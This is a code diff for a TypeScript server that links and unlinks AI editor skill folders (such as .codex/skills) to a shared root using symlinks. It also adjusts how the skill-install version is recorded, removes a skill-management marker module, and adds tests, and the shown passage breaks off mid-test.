+ const r = linkEditorSkillFolder({
+ base,
+ folderRel: '.codex/skills',
+ targetRootRel: '.agents/skills',
+ });
+ expect(r.ok).toBe(true);
+ if (!r.ok) return;
+ expect(r.moved).toEqual(['mover']);
+ expect(lstatSync(join(base, '.agents/skills/mover')).isDirectory()).toBe(true);
+ expect(readFileSync(join(base, '.agents/skills/mover/SKILL.md'), 'utf-8')).toContain('# Bytes');
+ });
+
+ test('preserves a foreign per-skill delivery link when linking its host folder', () => {
+ writeSkill(base, '.ok/skills/foreign', '# Canonical');
+ mkdirSync(join(base, '.codex', 'skills'), { recursive: true });
+ symlinkSync(join(base, '.ok/skills/foreign'), join(base, '.codex/skills/foreign'), 'dir');
+
+ const r = linkEditorSkillFolder({
+ base,
+ folderRel: '.codex/skills',
+ targetRootRel: '.agents/skills',
+ });
+
+ expect(r.ok).toBe(true);
+ if (!r.ok) return;
+ expect(r.moved).toEqual(['foreign']);
+ expect(lstatSync(join(base, '.agents/skills/foreign')).isSymbolicLink()).toBe(true);
+ expect(realpathSync(join(base, '.agents/skills/foreign'))).toBe(
+ realpathSync(join(base, '.ok/skills/foreign')),
+ );
+ expect(realpathSync(join(base, '.codex/skills/foreign'))).toBe(
+ realpathSync(join(base, '.ok/skills/foreign')),
+ );
+ });
+
+ test('stray (non-bundle) entries abort; an absent folder links directly', () => {
+ mkdirSync(join(base, '.codex/skills'), { recursive: true });
+ writeFileSync(join(base, '.codex/skills/notes.txt'), 'stray');
+ const r = linkEditorSkillFolder({
+ base,
+ folderRel: '.codex/skills',
+ targetRootRel: '.agents/skills',
+ });
+ expect(r.ok).toBe(false);
+ if (!r.ok) expect(r.reason).toBe('stray-entries');
+
+ const r2 = linkEditorSkillFolder({
+ base,
+ folderRel: '.cursor/skills',
+ targetRootRel: '.agents/skills',
+ });
+ expect(r2.ok).toBe(true);
+ expect(lstatSync(join(base, '.cursor/skills')).isSymbolicLink()).toBe(true);
+ });
+
+ test("a harness's own bookkeeping in its skills folder does not block LINK", () => {
+ mkdirSync(join(base, '.codex/skills/foo'), { recursive: true });
+ writeFileSync(join(base, '.codex/skills/foo/SKILL.md'), '# foo');
+ // Codex ships its bundled skills under `.system` and leaves an empty
+ // runtime dir behind. Neither is content a link could strand, and neither is
+ // something the user can clean up — treating them as strays meant this
+ // folder could never be linked at all.
+ mkdirSync(join(base, '.codex/skills/.system/imagegen'), { recursive: true });
+ writeFileSync(join(base, '.codex/skills/.system/imagegen/SKILL.md'), '# vendor');
+ mkdirSync(join(base, '.codex/skills/codex-primary-runtime'), { recursive: true });
+
+ const r = linkEditorSkillFolder({
+ base,
+ folderRel: '.codex/skills',
+ targetRootRel: '.agents/skills',
+ });
+ expect(r.ok).toBe(true);
+ expect(lstatSync(join(base, '.codex/skills')).isSymbolicLink()).toBe(true);
+ });
+
+ test('a NON-empty directory without a SKILL.md still blocks LINK', () => {
+ mkdirSync(join(base, '.codex/skills/notes'), { recursive: true });
+ writeFileSync(join(base, '.codex/skills/notes/thoughts.md'), '# real content');
+ const r = linkEditorSkillFolder({
+ base,
+ folderRel: '.codex/skills',
+ targetRootRel: '.agents/skills',
+ });
+ expect(r.ok).toBe(false);
+ if (!r.ok) expect(r.strays).toContain('notes');
+ });
+
+ test('benign dotfiles (.DS_Store) do not count as strays — LINK still succeeds', () => {
+ mkdirSync(join(base, '.codex/skills/foo'), { recursive: true });
+ writeFileSync(join(base, '.codex/skills/foo/SKILL.md'), '# foo');
+ // macOS Finder drops this into any browsed dir; it must not block LINK.
+ writeFileSync(join(base, '.codex/skills/.DS_Store'), 'noise');
+ const r = linkEditorSkillFolder({
+ base,
+ folderRel: '.codex/skills',
+ targetRootRel: '.agents/skills',
+ });
+ expect(r.ok).toBe(true);
+ expect(lstatSync(join(base, '.codex/skills')).isSymbolicLink()).toBe(true);
+ });
+});
+
+describe('unlinkEditorSkillFolder (materialize as per-skill links)', () => {
+ test('replaces the folder link with a real dir of per-skill symlinks', () => {
+ writeSkill(base, '.agents/skills/one', '# 1');
+ writeSkill(base, '.agents/skills/two', '# 2');
+ mkdirSync(join(base, '.codex'), { recursive: true });
+ symlinkSync(join(base, '.agents/skills'), join(base, '.codex/skills'), 'dir');
+
+ const r = unlinkEditorSkillFolder({ base, folderRel: '.codex/skills' });
+ expect(r.ok).toBe(true);
+ if (!r.ok) return;
+ expect(r.linked.sort()).toEqual(['one', 'two']);
+ expect(lstatSync(join(base, '.codex/skills')).isSymbolicLink()).toBe(false);
+ expect(lstatSync(join(base, '.codex/skills/one')).isSymbolicLink()).toBe(true);
+ expect(realpathSync(join(base, '.codex/skills/one'))).toBe(
+ realpathSync(join(base, '.agents/skills/one')),
+ );
+ });
+
+ test('exclude leaves the named skill OUT — "this agent should not get that skill"', () => {
+ writeSkill(base, '.agents/skills/keep-a', '# A');
+ writeSkill(base, '.agents/skills/keep-b', '# B');
+ writeSkill(base, '.agents/skills/not-for-codex', '# X');
+ mkdirSync(join(base, '.codex'), { recursive: true });
+ symlinkSync(join(base, '.agents/skills'), join(base, '.codex/skills'), 'dir');
+
+ const r = unlinkEditorSkillFolder({
+ base,
+ folderRel: '.codex/skills',
+ exclude: ['not-for-codex'],
+ });
+ expect(r.ok).toBe(true);
+ if (!r.ok) return;
+ expect(r.linked.sort()).toEqual(['keep-a', 'keep-b']);
+ expect(existsSync(join(base, '.codex/skills/not-for-codex'))).toBe(false);
+ // The pool keeps the skill — only codex's view dropped it.
+ expect(existsSync(join(base, '.agents/skills/not-for-codex/SKILL.md'))).toBe(true);
+ });
+
+ test('a real folder refuses to unlink', () => {
+ writeSkill(base, '.codex/skills/foo', '# A');
+ const r = unlinkEditorSkillFolder({ base, folderRel: '.codex/skills' });
+ expect(r.ok).toBe(false);
+ if (!r.ok) expect(r.reason).toBe('not-linked');
+ });
+});
diff --git a/packages/server/src/skill-folder-links.ts b/packages/server/src/skill-folder-links.ts
new file mode 100644
index 000000000..fc72622d1
--- /dev/null
+++ b/packages/server/src/skill-folder-links.ts
@@ -0,0 +1,313 @@
+/**
+ * Folder-level skill-root verbs:
+ *
+ * - LINK: an editor's own skills folder merges into a target root, then the
+ * folder becomes a symlink to that root ("follow the root"). Merge is
+ * conflict-safe: same-hash bundles drop (redundant bytes), own-only bundles
+ * MOVE into the target, differing bundles ABORT the whole operation with a
+ * list — nothing is written on abort.
+ * - UNLINK: a linked folder materializes back into a real folder holding a
+ * per-skill SYMLINK for every bundle the target root exposes — lossless and
+ * behavior-preserving (each skill's menu can convert links to copies from
+ * there).
+ *
+ * Both verbs refuse to touch anything that isn't exactly what they expect
+ * (stray files, unexpected link targets) — fail-loud beats a clever guess.
+ */
+
+import { existsSync, lstatSync, readdirSync, realpathSync } from 'node:fs';
+import { dirname, join, relative } from 'node:path';
+import { parseSkillDir } from '@inkeep/open-knowledge-core/skills-catalog';
+import { tracedMkdirSync, tracedRenameSync, tracedRmSync, tracedSymlinkSync } from './fs-traced.ts';
+
+export interface SkillFolderState {
+ host: string;
+ root: string;
+ state: 'own' | 'linked' | 'linked-parent' | 'absent';
+ target?: string;
+}
+
+/**
+ * Observable folder state per host skills root: `own` (real folder), `linked`
+ * (the folder itself is a symlink → `target`), `linked-parent` (a parent dir
+ * is the symlink — report-only; the parent is what's linked), `absent`.
+ */
+export function scanSkillFolderStates(
+ base: string,
+ roots: ReadonlyArray<{ editor: string; root: string }>,
+): SkillFolderState[] {
+ let baseReal: string;
+ try {
+ baseReal = realpathSync(base);
+ } catch {
+ return roots.map(({ editor, root }) => ({ host: editor, root, state: 'absent' as const }));
+ }
+ const relTo = (abs: string): string | undefined =>
+ abs.startsWith(`${baseReal}/`) ? abs.slice(baseReal.length + 1) : undefined;
+ return roots.map(({ editor, root }) => {
+ const abs = join(base, root);
+ let st: ReturnType<typeof lstatSync>;
+ try {
+ st = lstatSync(abs);
+ } catch {
+ return { host: editor, root, state: 'absent' as const };
+ }
+ let real: string;
+ try {
+ real = realpathSync(abs);
+ } catch {
+ return { host: editor, root, state: 'absent' as const }; // dangling link
+ }
+ if (st.isSymbolicLink()) {
+ const target = relTo(real);
+ return { host: editor, root, state: 'linked' as const, ...(target ? { target } : {}) };
+ }
+ if (real !== join(baseReal, root)) {
+ const target = relTo(real);
+ return {
+ host: editor,
+ root,
+ state: 'linked-parent' as const,
+ ...(target ? { target } : {}),
+ };
+ }
+ return { host: editor, root, state: 'own' as const };
+ });
+}
+
+export type FolderLinkResult =
+ | { ok: true; moved: string[]; dropped: string[]; linked: string[] }
+ | {
+ ok: false;
+ reason: 'conflicts' | 'not-linkable' | 'not-linked' | 'stray-entries' | 'partial-move';
+ conflicts?: string[];
+ strays?: string[];
+ /** partial-move: bundles moved before the failure — each move is a
+ * complete rename, so RE-RUNNING the link resumes and completes. */
+ moved?: string[];
+ error?: string;
+ };
+
+/** OS / VCS noise that must not block a LINK. macOS Finder drops `.DS_Store`
+ * into any browsed directory, so treating every dotfile as a stray would
+ * permanently block LINK for a developer who opened `.claude/skills/` in
+ * Finder. These are ignored (neither bundle nor stray); other dotfiles stay
+ * strays so genuinely unexpected hidden content still trips the guard. */
+const BENIGN_DOTFILES = new Set([
+ '.DS_Store',
+ '.localized',
+ 'Thumbs.db',
+ '.git',
+ '.gitignore',
+ '.gitkeep',
+ '.gitattributes',
+]);
+
+/** Bundle dir names (entries containing a SKILL.md) directly under `root`. */
+function bundleNames(rootAbs: string): { bundles: string[]; strays: string[] } {
+ const bundles: string[] = [];
+ const strays: string[] = [];
+ for (const e of readdirSync(rootAbs, { withFileTypes: true })) {
+ if (BENIGN_DOTFILES.has(e.name)) continue;
+ // A skill dir name can't begin with a dot, so a dot-entry here is the
+ // HARNESS's own bookkeeping in its own folder — Codex keeps its bundled
+ // skills under `.system`. Treating those as strays meant a harness that
+ // writes anything beside your skills could never have its folder linked,
+ // which is not a state the user can clean up.
+ if (e.name.startsWith('.')) continue;
+ const p = join(rootAbs, e.name);
+ if (existsSync(join(p, 'SKILL.md'))) {
+ bundles.push(e.name);
+ continue;
+ }
+ // An EMPTY directory holds nothing a link could strand (harness leftovers
+ // like `codex-primary-runtime`). A directory with contents but no SKILL.md
+ // is real content and still blocks.
+ if (e.isDirectory() && isEmptyDir(p)) continue;
+ strays.push(e.name);
+ }
+ return { bundles, strays };
+}
+
+/** True when `dirAbs` has no entries. Unreadable counts as non-empty: a folder
+ * we can't inspect is not one we can promise a link won't strand. */
+function isEmptyDir(dirAbs: string): boolean {
+ try {
+ return readdirSync(dirAbs).length === 0;
+ } catch {
+ return false;
+ }
+}
+
+/**
+ * Merge-then-swap: `folderRel` (an editor's own skills folder under `base`)
+ * merges into `targetRootRel` and becomes a symlink to it.
+ */
+export function linkEditorSkillFolder(opts: {
+ base: string;
+ folderRel: string;
+ targetRootRel: string;
+}): FolderLinkResult {
+ const { base, folderRel, targetRootRel } = opts;
+ const folderAbs = join(base, folderRel);
+ const targetAbs = join(base, targetRootRel);
+ let st: ReturnType<typeof lstatSync>;
+ try {
+ st = lstatSync(folderAbs);
+ } catch {
+ // Absent folder: nothing to merge — create the link directly.
+ tracedMkdirSync(dirname(folderAbs), { recursive: true });
+ tracedMkdirSync(targetAbs, { recursive: true });
+ tracedSymlinkSync(relative(dirname(folderAbs), targetAbs), folderAbs, 'dir');
+ return { ok: true, moved: [], dropped: [], linked: [folderRel] };
+ }
+ if (st.isSymbolicLink()) return { ok: false, reason: 'not-linkable' }; // already a link
+ if (!st.isDirectory()) return { ok: false, reason: 'not-linkable' };
+ try {
+ if (realpathSync(folderAbs) === realpathSync(targetAbs))
+ return { ok: false, reason: 'not-linkable' }; // same physical dir (parent alias)
+ } catch {
+ // target absent — created below
+ }
+ const { bundles, strays } = bundleNames(folderAbs);
+ if (strays.length > 0) return { ok: false, reason: 'stray-entries', strays };
+ // Pass 1 — classify EVERYTHING before touching anything (abort must be a no-op).
+ const conflicts: string[] = [];
+ const toMove: string[] = [];
+ const toDrop: string[] = [];
+ const destLinks: string[] = [];
+ const linkedBundlesToMove: Array<{ name: string; target: string }> = [];
+ for (const name of bundles) {
+ const ownDir = join(folderAbs, name);
+ const destDir = join(targetAbs, name);
+ if (lstatSync(ownDir).isSymbolicLink()) {
+ const ownTarget = realpathSync(ownDir);
+ let destTarget: string | null = null;
+ let destIsLink = false;
+ try {
+ destIsLink = lstatSync(destDir).isSymbolicLink();
+ destTarget = realpathSync(destDir);
+ } catch {
+ // An absent or dangling destination can be replaced below.
+ }
+ if (destTarget === ownTarget) {
+ toDrop.push(name);
+ } else if (destTarget !== null) {
+ conflicts.push(name);
+ } else {
+ if (destIsLink) destLinks.push(name);
+ linkedBundlesToMove.push({ name, target: ownTarget });
+ }
+ continue;
+ }
+ // lstat the DEST: a symlink there (live OR dangling) is a stale pointer,
+ // not content — remove before the move. `existsSync` alone misclassified
+ // a DANGLING dest link as absent, and `rename(dir → symlink)` ENOTDIRs.
+ let destIsLink = false;
+ try {
+ destIsLink = lstatSync(destDir).isSymbolicLink();
+ } catch {
+ /* truly absent */
+ }
+ if (destIsLink) {
+ destLinks.push(name);
+ toMove.push(name);
+ continue;
+ }
+ if (!existsSync(destDir)) {
+ toMove.push(name);
+ continue;
+ }
+ const ownHash = parseSkillDir(ownDir)?.contentHash;
+ const destHash = parseSkillDir(destDir)?.contentHash;
+ if (ownHash !== undefined && ownHash === destHash) toDrop.push(name);
+ else conflicts.push(name);
+ }
+ if (conflicts.length > 0) return { ok: false, reason: 'conflicts', conflicts };
+ // Pass 2 — apply. Each move is a complete per-bundle rename, so a failure
+ // midway leaves a RESUMABLE half-merge (already-moved bundles classify as
+ // same-hash/absent on the next run) — report it structurally, never a bare
+ // throw: the caller tells the user to re-run the link.
+ const movedSoFar: string[] = [];
+ try {
+ tracedMkdirSync(targetAbs, { recursive: true });
+ const targetRootReal = realpathSync(targetAbs);
+ for (const name of destLinks) tracedRmSync(join(targetAbs, name), { force: true });
+ for (const { name, target } of linkedBundlesToMove) {
+ const destDir = join(targetAbs, name);
+ tracedSymlinkSync(relative(targetRootReal, target), destDir, 'dir');
+ tracedRmSync(join(folderAbs, name), { force: true });
+ movedSoFar.push(name);
+ }
+ for (const name of toMove) {
+ tracedRenameSync(join(folderAbs, name), join(targetAbs, name));
+ movedSoFar.push(name);
+ }
+ for (const name of toDrop)
+ tracedRmSync(join(folderAbs, name), { recursive: true, force: true });
+ tracedRmSync(folderAbs, { recursive: true, force: true });
+ tracedSymlinkSync(relative(dirname(folderAbs), targetAbs), folderAbs, 'dir');
+ } catch (e) {
+ return {
+ ok: false,
+ reason: 'partial-move',
+ moved: movedSoFar,
+ error: e instanceof Error ? e.message : String(e),
+ };
+ }
+ return {
+ ok: true,
+ moved: [...linkedBundlesToMove.map(({ name }) => name), ...toMove],
+ dropped: toDrop,
+ linked: [folderRel],
+ };
+}
+
+/**
+ * Materialize a linked folder back into a real folder of per-skill symlinks —
+ * every bundle the target exposed stays reachable at the same path, each now
+ * individually managed (the per-skill menus take over from here).
+ */
+export function unlinkEditorSkillFolder(opts: {
+ base: string;
+ folderRel: string;
+ /** Skill names to LEAVE OUT of the materialized per-skill links — the
+ * "this agent shouldn't get that skill" remedy: the folder stops following
+ * its target root and keeps everything it sees today except these. */
+ exclude?: readonly string[];
+}): FolderLinkResult {
+ const { base, folderRel } = opts;
+ const excluded = new Set(opts.exclude ?? []);
+ const folderAbs = join(base, folderRel);
+ let st: ReturnType<typeof lstatSync>;
+ try {
+ st = lstatSync(folderAbs);
+ } catch {
+ return { ok: false, reason: 'not-linked' };
+ }
+ if (!st.isSymbolicLink()) return { ok: false, reason: 'not-linked' };
+ let targetAbs: string;
+ try {
+ targetAbs = realpathSync(folderAbs);
+ } catch {
+ // Dangling link: removing it and leaving an empty real folder is the only
+ // lossless materialization.
+ tracedRmSync(folderAbs, { force: true });
+ tracedMkdirSync(folderAbs, { recursive: true });
+ return { ok: true, moved: [], dropped: [], linked: [] };
+ }
+ const { bundles } = bundleNames(targetAbs);
+ tracedRmSync(folderAbs, { force: true });
+ tracedMkdirSync(folderAbs, { recursive: true });
+ // Both ends realpath'd before computing relative link targets — a symlinked
+ // ancestor on either side (e.g. macOS /var → /private/var) would otherwise
+ // yield dangling links.
+ const folderReal = realpathSync(folderAbs);
+ const linked: string[] = [];
+ for (const name of bundles) {
+ if (excluded.has(name)) continue;
+ tracedSymlinkSync(relative(folderReal, join(targetAbs, name)), join(folderAbs, name), 'dir');
+ linked.push(name);
+ }
+ return { ok: true, moved: [], dropped: [], linked };
+}
diff --git a/packages/server/src/skill-install.ts b/packages/server/src/skill-install.ts
index 7c43a34e3..c70cb1c3d 100644
--- a/packages/server/src/skill-install.ts
+++ b/packages/server/src/skill-install.ts
@@ -644,12 +644,22 @@ export async function buildAndOpenSkill(
};
}
+ // The Cowork install-state gate keys on the server PACKAGE version (the
+ // single version axis), NOT a SKILL.md metadata field — the bundled SKILL.md
+ // carries no version stamp. Record the same value the gate above reads back.
+ let installedVersion: string | undefined;
+ try {
+ installedVersion = await readServerPackageVersion();
+ } catch {
+ installedVersion = undefined;
+ }
+
const baseResult: BuildAndOpenSkillResult = {
status: 'built',
outputPath: build.outputPath,
size: build.size,
sha256: build.sha256,
- skillVersion: build.skillVersion,
+ skillVersion: installedVersion,
};
// Write the per-target install-state on every successful build, even when
@@ -657,12 +667,12 @@ export async function buildAndOpenSkill(
// a future click should skip the rebuild even if Claude Desktop didn't
// launch. Write failures fall through (fail-soft) — gate works for this
// session via the stale-version path; next session re-records.
- if (build.skillVersion) {
+ if (installedVersion) {
try {
await writeTargetVersion(
home,
'claude-cowork',
- build.skillVersion,
+ installedVersion,
'server-build-and-open',
logger,
);
@@ -671,7 +681,7 @@ export async function buildAndOpenSkill(
{
event: 'skill-install.state-write-failed',
target: 'claude-cowork',
- version: build.skillVersion,
+ version: installedVersion,
err,
},
'Skill bundle built but install-state write failed; gate will re-trigger build on next click.',
@@ -680,19 +690,19 @@ export async function buildAndOpenSkill(
}
if (opts.noOpen) {
- await report('built', build.skillVersion);
+ await report('built', installedVersion);
return baseResult;
}
const invocation = invokeFileAssociation(build.outputPath, platformName, spawnFn);
if (!invocation.ok) {
- await report('built', build.skillVersion, `handoff-${invocation.reason}`);
+ await report('built', installedVersion, `handoff-${invocation.reason}`);
return {
...baseResult,
handoffError: { reason: invocation.reason, message: invocation.message },
};
}
- await report('installed', build.skillVersion);
+ await report('installed', installedVersion);
return { ...baseResult, status: 'installed' };
}
diff --git a/packages/server/src/skill-management.test.ts b/packages/server/src/skill-management.test.ts
deleted file mode 100644
index b9fd58133..000000000
--- a/packages/server/src/skill-management.test.ts
+++ /dev/null
@@ -1,91 +0,0 @@
-import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
-import { tmpdir } from 'node:os';
-import { dirname, join } from 'node:path';
-import { afterEach, beforeEach, describe, expect, test } from 'vitest';
-import {
- isProjectSkillManaged,
- readSkillManagement,
- skillManagementPath,
- writeSkillManagement,
-} from './skill-management.ts';
-
-let root: string;
-const noEnv: Record<string, string | undefined> = {};
-
-beforeEach(() => {
- root = mkdtempSync(join(tmpdir(), 'ok-skill-mgmt-'));
-});
-afterEach(() => {
- rmSync(root, { recursive: true, force: true });
-});
-
-describe('skill-management marker', () => {
- test('path is <project>/.ok/local/skill-management.json', () => {
- expect(skillManagementPath(root)).toBe(join(root, '.ok', 'local', 'skill-management.json'));
- });
-
- test('absent marker reads as null and is not managed by default', () => {
- expect(readSkillManagement(root)).toBeNull();
- expect(isProjectSkillManaged(root, noEnv)).toBe(false);
- });
-
- test('write → read round-trip records the decision + stamps decidedAt', async () => {
- await writeSkillManagement(root, { manageEditorSkills: true, surface: 'cli' });
- const read = readSkillManagement(root);
- expect(read?.manageEditorSkills).toBe(true);
- expect(read?.surface).toBe('cli');
- expect(read?.version).toBe(1);
- expect(typeof read?.decidedAt).toBe('string');
- expect(isProjectSkillManaged(root, noEnv)).toBe(true);
- });
-
- test('write false → not managed', async () => {
- await writeSkillManagement(root, { manageEditorSkills: false, surface: 'cli' });
- expect(isProjectSkillManaged(root, noEnv)).toBe(false);
- });
-
- test('marker lives under .ok/local (gitignored per-machine state)', async () => {
- await writeSkillManagement(root, { manageEditorSkills: true });
- expect(existsSync(join(root, '.ok', 'local', 'skill-management.json'))).toBe(true);
- });
-
- test('corrupt marker fails soft → null / not managed', () => {
- const path = skillManagementPath(root);
- mkdirSync(dirname(path), { recursive: true });
- writeFileSync(path, '{ not json');
- expect(readSkillManagement(root)).toBeNull();
- expect(isProjectSkillManaged(root, noEnv)).toBe(false);
- });
-
- test('malformed shape (no boolean) fails soft → null', () => {
- const path = skillManagementPath(root);
- mkdirSync(dirname(path), { recursive: true });
- writeFileSync(path, JSON.stringify({ version: 1, manageEditorSkills: 'yes' }));
- expect(readSkillManagement(root)).toBeNull();
- });
-
- describe('isProjectSkillManaged env precedence', () => {
- test('OK_RECLAIM_DISABLE=1 forces off even when the marker says on', async () => {
- await writeSkillManagement(root, { manageEditorSkills: true });
- expect(isProjectSkillManaged(root, { OK_RECLAIM_DISABLE: '1', OK_SKILL_MANAGE: '1' })).toBe(
- false,
- );
- });
-
- test('OK_SKILL_MANAGE=1 forces on with no marker; =0 forces off over an on marker', async () => {
- expect(isProjectSkillManaged(root, { OK_SKILL_MANAGE: '1' })).toBe(true);
- await writeSkillManagement(root, { manageEditorSkills: true });
- expect(isProjectSkillManaged(root, { OK_SKILL_MANAGE: '0' })).toBe(false);
- });
-
- test('falls through to the marker when no env override is set', async () => {
- await writeSkillManagement(root, { manageEditorSkills: true });
- expect(isProjectSkillManaged(root, noEnv)).toBe(true);
- });
-
- test('env override does not write the marker to disk', () => {
- isProjectSkillManaged(root, { OK_SKILL_MANAGE: '1' });
- expect(existsSync(skillManagementPath(root))).toBe(false);
- });
- });
-});
diff --git a/packages/server/src/skill-management.ts b/packages/server/src/skill-management.ts
deleted file mode 100644
index 94259a8df..000000000
--- a/packages/server/src/skill-management.ts
+++ /dev/null
@@ -1,115 +0,0 @@
-/**
- * Read/write the per-project skill-management marker at
- * `<projectDir>/.ok/local/skill-management.json`.
- *
- * `manageEditorSkills: true` ⇒ the project is OK-managed: `reconcileSkillInstalls`
- * ADOPTS non-`.ok` editor-dir skills into `.ok/skills` (the opt-in bulk import +
- * ongoing auto-adopt of newly-installed editor skills). Absent / `false` (the
- * default) ⇒ OK never imports a non-`.ok` skill. Management of skills that ALREADY
- * have a `.ok/skills/<name>` entry is independent of this flag — those are always
- * managed (heal/orphan/collapse/project; see `skill-reconcile.ts`).
- *
- * Per-machine runtime state under `.ok/local/` (gitignored), sibling to
- * `installed-skills.json` — a collaborator's choice never dirties the shared
- * tracked tree. Atomic tmp+rename through the traced fs primitives; fail-soft read
- * (absent / corrupt → unset, never a hard error).
- */
-
-import { existsSync, readFileSync } from 'node:fs';
-import { dirname, join } from 'node:path';
-import { atomicWriteFile } from '@inkeep/open-knowledge-core/server';
-import { tracedAtomicFs, tracedMkdir } from './fs-traced.ts';
-import { getLogger } from './logger.ts';
-
-const logger = getLogger('skill-management');
-
-/** Project-relative path segments. Sibling of `INSTALLED_SKILLS_REL`. */
-const SKILL_MANAGEMENT_REL = ['.ok', 'local', 'skill-management.json'] as const;
-const SCHEMA_VERSION = 1;
-
-/** Routes core's atomic write through the server's traced fs primitives. */
-export interface SkillManagement {
- version: number;
- /** When true the project is OK-managed — reconcile adopts non-`.ok` editor skills. */
- manageEditorSkills: boolean;
- /** ISO timestamp the decision was recorded (diagnostic). */
- decidedAt?: string;
- /** Which surface recorded it: "desktop" | "ui" | "cli" (diagnostic). */
- surface?: string;
-}
-
-/** Absolute path to the marker for a project. */
-export function skillManagementPath(projectDir: string): string {
- return join(projectDir, ...SKILL_MANAGEMENT_REL);
-}
-
-/**
- * Read the marker. Fail-soft: absent / corrupt / wrong-shape → `null` (unset),
- * never throws — an unreadable marker means "no decision recorded", which the
- * default-off gate treats as "do not adopt".
- */
-export function readSkillManagement(projectDir: string): SkillManagement | null {
- const path = skillManagementPath(projectDir);
- if (!existsSync(path)) return null;
- try {
- const parsed: unknown = JSON.parse(readFileSync(path, 'utf-8'));
- if (
- parsed &&
- typeof parsed === 'object' &&
- typeof (parsed as { manageEditorSkills?: unknown }).manageEditorSkills === 'boolean'
- ) {
- const p = parsed as Record<string, unknown>;
- return {
- version: typeof p.version === 'number' ? p.version : SCHEMA_VERSION,
- manageEditorSkills: p.manageEditorSkills as boolean,
- decidedAt: typeof p.decidedAt === 'string' ? p.decidedAt : undefined,
- surface: typeof p.surface === 'string' ? p.surface : undefined,
- };
- }
- logger.warn({ path }, 'skill-management marker malformed — treating as unset');
- return null;
- } catch (err) {
- logger.warn({ err, path }, 'skill-management marker unreadable — treating as unset');
- return null;
- }
-}
-
-/** Atomically record the project's skill-management decision. */
-export async function writeSkillManagement(
- projectDir: string,
- opts: { manageEditorSkills: boolean; surface?: string; now?: string },
-): Promise<void> {
- const doc: SkillManagement = {
- version: SCHEMA_VERSION,
- manageEditorSkills: opts.manageEditorSkills,
- decidedAt: opts.now ?? new Date().toISOString(),
- ...(opts.surface ? { surface: opts.surface } : {}),
- };
- const path = skillManagementPath(projectDir);
- await tracedMkdir(dirname(path), { recursive: true });
- await atomicWriteFile(path, `${JSON.stringify(doc, null, 2)}\n`, { fs: tracedAtomicFs });
-}
-
-/**
- * Is the project OK-managed — i.e. may reconcile ADOPT non-`.ok` editor skills?
- * Precedence (first match wins):
- * 1. `OK_RECLAIM_DISABLE=1` → false (global kill-switch; also gates the
- * always-on paths at their own call sites).
- * 2. `OK_SKILL_MANAGE=1|true` → true · `=0|false` → false (process-scoped
- * override; never written to disk).
- * 3. recorded marker → its `manageEditorSkills`.
- * 4. else → false (default: do not adopt).
- *
- * This gates ONLY adoption of non-`.ok` skills. Skills with a `.ok/skills/<name>`
- * entry are managed regardless.
- */
-export function isProjectSkillManaged(
- projectDir: string,
- env: Record<string, string | undefined> = process.env,
-): boolean {
- if (env.OK_RECLAIM_DISABLE === '1') return false;
- const forced = env.OK_SKILL_MANAGE;
- if (forced === '1' || forced === 'true') return true;
- if (forced === '0' || forced === 'false') return false;
- return readSkillManagement(projectDir)?.manageEditorSkills ?? false;
-}
diff --git a/packages/server/src/skill-migrate.test.ts b/packages/server/src/skill-migrate.test.ts
new file mode 100644
index 000000000..56617b409
--- /dev/null
+++ b/packages/server/src/skill-migrate.test.ts
@@ -0,0 +1,212 @@
+import {
+ existsSync,
+ lstatSync,
+ mkdirSync,
+ mkdtempSync,
+ readFileSync,
+ rmSync,
+ symlinkSync,
+ writeFileSync,
+} from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join, relative } from 'node:path';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import { readInstalledSkills, recordSkillInstall } from './installed-skills-marker.ts';
+import { genuineInPlaceNames, migrateStoreSkillsInPlace } from './skill-migrate.ts';
+import { recordSkillPlacement } from './skill-placements.ts';
+
+let root: string;
+let skillsRoot: string;
+
+function makeStore(name: string, body = '# Steps'): string {
+ const dir = join(skillsRoot, name);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(
+ join(dir, 'SKILL.md'),
+ `---\nname: ${name}\ndescription: Use when testing.\n---\n${body}`,
+ );
+ return dir;
+}
+
+/** OK-style relative symlink projection at `<editorRel>/<name>` → the store dir. */
+function linkProjection(editorRel: string, name: string): string {
+ const hostRoot = join(root, editorRel);
+ mkdirSync(hostRoot, { recursive: true });
+ const link = join(hostRoot, name);
+ symlinkSync(relative(hostRoot, join(skillsRoot, name)), link, 'dir');
+ return link;
+}
+
+beforeEach(() => {
+ root = mkdtempSync(join(tmpdir(), 'ok-migrate-'));
+ skillsRoot = join(root, '.ok', 'skills');
+ mkdirSync(skillsRoot, { recursive: true });
+});
+afterEach(() => {
+ rmSync(root, { recursive: true, force: true });
+});
+
+describe('migrateStoreSkillsInPlace', () => {
+ test('moves a projected skill to its top-precedence host; other links become copies', async () => {
+ makeStore('foo', '# Body');
+ linkProjection('.claude/skills', 'foo');
+ linkProjection('.codex/skills', 'foo');
+ await recordSkillInstall(root, 'foo', {
+ hosts: ['claude', 'codex'],
+ scope: 'project',
+ scripts: false,
+ installedAt: new Date().toISOString(),
+ });
+
+ const r = await migrateStoreSkillsInPlace({ projectDir: root, skillsRoot });
+ expect(r.migrated).toContainEqual({ name: 'foo', to: '.claude/skills/foo' });
+ // Canonical is now a REAL dir at the claude host; store dir gone.
+ const canonical = join(root, '.claude/skills/foo');
+ expect(lstatSync(canonical).isDirectory()).toBe(true);
+ expect(lstatSync(canonical).isSymbolicLink()).toBe(false);
+ expect(existsSync(join(skillsRoot, 'foo'))).toBe(false);
+ // The codex projection became a real copy (still loads there).
+ const codex = join(root, '.codex/skills/foo');
+ expect(lstatSync(codex).isDirectory()).toBe(true);
+ expect(lstatSync(codex).isSymbolicLink()).toBe(false);
+ expect(readFileSync(join(codex, 'SKILL.md'), 'utf-8')).toContain('# Body');
+ // Marker entry dropped — the in-place scan is truth now.
+ expect(readInstalledSkills(root).skills.foo).toBeUndefined();
+ });
+
+ test('an unprojected (draft) skill lands in a concrete editor dir, never inventing .agents', async () => {
+ makeStore('draft', '# D');
+ const r = await migrateStoreSkillsInPlace({ projectDir: root, skillsRoot });
+ // No editor roots exist and no `.agents` adoption — the fallback is the
+ // top-precedence concrete harness dir, NOT an OK-invented hub.
+ expect(r.migrated).toContainEqual({ name: 'draft', to: '.claude/skills/draft' });
+ expect(existsSync(join(root, '.claude/skills/draft/SKILL.md'))).toBe(true);
+ expect(existsSync(join(root, '.agents'))).toBe(false);
+ expect(existsSync(join(skillsRoot, 'draft'))).toBe(false);
+ });
+
